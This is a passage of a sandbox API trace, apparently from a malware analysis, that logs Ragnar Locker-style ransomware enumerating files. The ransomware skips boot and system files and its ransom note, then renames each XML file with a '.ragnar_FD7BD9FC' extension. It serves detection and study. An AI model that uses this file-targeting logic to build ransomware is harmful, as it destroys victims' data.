-1 [0055.207] lstrcmpiW (lpString1="base_altgr.xml", lpString2="desktop.ini") returned -1 [0055.207] lstrcmpiW (lpString1="base_altgr.xml", lpString2="iconcache.db") returned -1 [0055.207] lstrcmpiW (lpString1="base_altgr.xml", lpString2="ntldr") returned -1 [0055.207] lstrcmpiW (lpString1="base_altgr.xml", lpString2="ntuser.dat") returned -1 [0055.207] lstrcmpiW (lpString1="base_altgr.xml", lpString2="ntuser.dat.log") returned -1 [0055.207] lstrcmpiW (lpString1="base_altgr.xml", lpString2="ntuser.ini") returned -1 [0055.207] lstrcmpiW (lpString1="base_altgr.xml", lpString2="thumbs.db") returned -1 [0055.207] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0055.207] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0055.207] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0055.207] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0055.207] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0055.207] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0055.208] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0055.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0055.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0055.216] CloseHandle (hObject=0xffffffff) returned 0 [0055.216] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" [0055.216] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.ragnar_FD7BD9FC" [0055.216] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0055.216] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0055.216] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4d [0055.216] lstrcpyW (in: lpString1=0x1ea0a4, lpString2="base_ca.xml" | out: lpString1="base_ca.xml") returned="base_ca.xml" [0055.216] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned=".xml" [0055.216] lstrcmpiW (lpString1="base_ca.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0055.216] lstrcmpiW (lpString1="base_ca.xml", lpString2="autorun.inf") returned 1 [0055.216] lstrcmpiW (lpString1="base_ca.xml", lpString2="boot.ini") returned -1 [0055.216] lstrcmpiW (lpString1="base_ca.xml", lpString2="bootfont.bin") returned -1 [0055.216] lstrcmpiW (lpString1="base_ca.xml", lpString2="bootsect.bak") returned -1 [0055.216] lstrcmpiW (lpString1="base_ca.xml", lpString2="bootmgr") returned -1 [0055.216] lstrcmpiW (lpString1="base_ca.xml", lpString2="bootmgr.efi") returned -1 [0055.216] lstrcmpiW (lpString1="base_ca.xml", lpString2="bootmgfw.efi") returned -1 [0055.216] lstrcmpiW (lpString1="base_ca.xml", lpString2="desktop.ini") returned -1 [0055.217] lstrcmpiW (lpString1="base_ca.xml", lpString2="iconcache.db") returned -1 [0055.217] lstrcmpiW (lpString1="base_ca.xml", lpString2="ntldr") returned -1 [0055.217] lstrcmpiW (lpString1="base_ca.xml", lpString2="ntuser.dat") returned -1 [0055.217] lstrcmpiW (lpString1="base_ca.xml", lpString2="ntuser.dat.log") returned -1 [0055.217] lstrcmpiW (lpString1="base_ca.xml", lpString2="ntuser.ini") returned -1 [0055.217] lstrcmpiW (lpString1="base_ca.xml", lpString2="thumbs.db") returned -1 [0055.217] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0055.217] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0055.217] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0055.217] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0055.217] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0055.217] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0055.217] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0055.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0055.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0055.218] CloseHandle (hObject=0xffffffff) returned 0 [0055.218] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" [0055.218] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.ragnar_FD7BD9FC" [0055.218] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0055.218] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0055.218] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4d [0055.218] lstrcpyW (in: lpString1=0x1ea0a4, lpString2="base_heb.xml" | out: lpString1="base_heb.xml") returned="base_heb.xml" [0055.218] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned=".xml" [0055.218] lstrcmpiW (lpString1="base_heb.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0055.218] lstrcmpiW (lpString1="base_heb.xml", lpString2="autorun.inf") returned 1 [0055.218] lstrcmpiW (lpString1="base_heb.xml", lpString2="boot.ini") returned -1 [0055.218] lstrcmpiW (lpString1="base_heb.xml", lpString2="bootfont.bin") returned -1 [0055.218] lstrcmpiW (lpString1="base_heb.xml", lpString2="bootsect.bak") returned -1 [0055.218] lstrcmpiW (lpString1="base_heb.xml", lpString2="bootmgr") returned -1 [0055.218] lstrcmpiW (lpString1="base_heb.xml", lpString2="bootmgr.efi") returned -1 [0055.218] lstrcmpiW (lpString1="base_heb.xml", lpString2="bootmgfw.efi") returned -1 [0055.218] lstrcmpiW (lpString1="base_heb.xml", lpString2="desktop.ini") returned -1 [0055.218] lstrcmpiW (lpString1="base_heb.xml", lpString2="iconcache.db") returned -1 [0055.218] lstrcmpiW (lpString1="base_heb.xml", lpString2="ntldr") returned -1 [0055.218] lstrcmpiW (lpString1="base_heb.xml", lpString2="ntuser.dat") returned -1 [0055.218] lstrcmpiW (lpString1="base_heb.xml", lpString2="ntuser.dat.log") returned -1 [0055.218] lstrcmpiW (lpString1="base_heb.xml", lpString2="ntuser.ini") returned -1 [0055.218] lstrcmpiW (lpString1="base_heb.xml", lpString2="thumbs.db") returned -1 [0055.218] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0055.219] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0055.219] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0055.219] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0055.219] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0055.219] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0055.219] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0055.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0055.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0055.222] CloseHandle (hObject=0xffffffff) returned 0 [0055.223] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" [0055.223] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.ragnar_FD7BD9FC" [0055.223] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0055.223] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0055.223] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4d [0055.223] lstrcpyW (in: lpString1=0x1ea0a4, lpString2="base_jpn.xml" | out: lpString1="base_jpn.xml") returned="base_jpn.xml" [0055.223] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned=".xml" [0055.223] lstrcmpiW (lpString1="base_jpn.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0055.223] lstrcmpiW (lpString1="base_jpn.xml", lpString2="autorun.inf") returned 1 [0055.223] lstrcmpiW (lpString1="base_jpn.xml", lpString2="boot.ini") returned -1 [0055.223] lstrcmpiW (lpString1="base_jpn.xml", lpString2="bootfont.bin") returned -1 [0055.223] lstrcmpiW (lpString1="base_jpn.xml", lpString2="bootsect.bak") returned -1 [0055.223] lstrcmpiW (lpString1="base_jpn.xml", lpString2="bootmgr") returned -1 [0055.223] lstrcmpiW (lpString1="base_jpn.xml", lpString2="bootmgr.efi") returned -1 [0055.223] lstrcmpiW (lpString1="base_jpn.xml", lpString2="bootmgfw.efi") returned -1 [0055.223] lstrcmpiW (lpString1="base_jpn.xml", lpString2="desktop.ini") returned -1 [0055.223] lstrcmpiW (lpString1="base_jpn.xml", lpString2="iconcache.db") returned -1 [0055.223] lstrcmpiW (lpString1="base_jpn.xml", lpString2="ntldr") returned -1 [0055.223] lstrcmpiW (lpString1="base_jpn.xml", lpString2="ntuser.dat") returned -1 [0055.223] lstrcmpiW (lpString1="base_jpn.xml", lpString2="ntuser.dat.log") returned -1 [0055.223] lstrcmpiW (lpString1="base_jpn.xml", lpString2="ntuser.ini") returned -1 [0055.223] lstrcmpiW (lpString1="base_jpn.xml", lpString2="thumbs.db") returned -1 [0055.223] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0055.223] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0055.223] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0055.223] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0055.223] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0055.223] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0055.223] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0055.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0055.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0055.224] CloseHandle (hObject=0xffffffff) returned 0 [0055.224] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" [0055.224] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.ragnar_FD7BD9FC" [0055.224] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0055.224] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0055.224] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4d [0055.224] lstrcpyW (in: lpString1=0x1ea0a4, lpString2="base_kor.xml" | out: lpString1="base_kor.xml") returned="base_kor.xml" [0055.224] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned=".xml" [0055.224] lstrcmpiW (lpString1="base_kor.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0055.224] lstrcmpiW (lpString1="base_kor.xml", lpString2="autorun.inf") returned 1 [0055.224] lstrcmpiW (lpString1="base_kor.xml", lpString2="boot.ini") returned -1 [0055.224] lstrcmpiW (lpString1="base_kor.xml", lpString2="bootfont.bin") returned -1 [0055.224] lstrcmpiW (lpString1="base_kor.xml", lpString2="bootsect.bak") returned -1 [0055.224] lstrcmpiW (lpString1="base_kor.xml", lpString2="bootmgr") returned -1 [0055.224] lstrcmpiW (lpString1="base_kor.xml", lpString2="bootmgr.efi") returned -1 [0055.224] lstrcmpiW (lpString1="base_kor.xml", lpString2="bootmgfw.efi") returned -1 [0055.224] lstrcmpiW (lpString1="base_kor.xml", lpString2="desktop.ini") returned -1 [0055.224] lstrcmpiW (lpString1="base_kor.xml", lpString2="iconcache.db") returned -1 [0055.224] lstrcmpiW (lpString1="base_kor.xml", lpString2="ntldr") returned -1 [0055.224] lstrcmpiW (lpString1="base_kor.xml", lpString2="ntuser.dat") returned -1 [0055.224] lstrcmpiW (lpString1="base_kor.xml", lpString2="ntuser.dat.log") returned -1 [0055.224] lstrcmpiW (lpString1="base_kor.xml", lpString2="ntuser.ini") returned -1 [0055.224] lstrcmpiW (lpString1="base_kor.xml", lpString2="thumbs.db") returned -1 [0055.224] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0055.225] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0055.225] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0055.225] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0055.225] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0055.225] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0055.225] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0055.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0055.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0055.228] CloseHandle (hObject=0xffffffff) returned 0 [0055.228] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" [0055.228] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.ragnar_FD7BD9FC" [0055.228] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0055.228] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0055.228] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4d [0055.228] lstrcpyW (in: lpString1=0x1ea0a4, lpString2="base_rtl.xml" | out: lpString1="base_rtl.xml") returned="base_rtl.xml" [0055.228] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned=".xml" [0055.228] lstrcmpiW (lpString1="base_rtl.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0055.228] lstrcmpiW (lpString1="base_rtl.xml", lpString2="autorun.inf") returned 1 [0055.228] lstrcmpiW (lpString1="base_rtl.xml", lpString2="boot.ini") returned -1 [0055.228] lstrcmpiW (lpString1="base_rtl.xml", lpString2="bootfont.bin") returned -1 [0055.228] lstrcmpiW (lpString1="base_rtl.xml", lpString2="bootsect.bak") returned -1 [0055.228] lstrcmpiW (lpString1="base_rtl.xml", lpString2="bootmgr") returned -1 [0055.228] lstrcmpiW (lpString1="base_rtl.xml", lpString2="bootmgr.efi") returned -1 [0055.228] lstrcmpiW (lpString1="base_rtl.xml", lpString2="bootmgfw.efi") returned -1 [0055.228] lstrcmpiW (lpString1="base_rtl.xml", lpString2="desktop.ini") returned -1 [0055.228] lstrcmpiW (lpString1="base_rtl.xml", lpString2="iconcache.db") returned -1 [0055.228] lstrcmpiW (lpString1="base_rtl.xml", lpString2="ntldr") returned -1 [0055.228] lstrcmpiW (lpString1="base_rtl.xml", lpString2="ntuser.dat") returned -1 [0055.229] lstrcmpiW (lpString1="base_rtl.xml", lpString2="ntuser.dat.log") returned -1 [0055.229] lstrcmpiW (lpString1="base_rtl.xml", lpString2="ntuser.ini") returned -1 [0055.229] lstrcmpiW (lpString1="base_rtl.xml", lpString2="thumbs.db") returned -1 [0055.229] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0055.229] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0055.229] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0055.229] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0055.229] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0055.229] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0055.229] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0055.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0055.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0055.229] CloseHandle (hObject=0xffffffff) returned 0 [0055.229] lstrcpyW 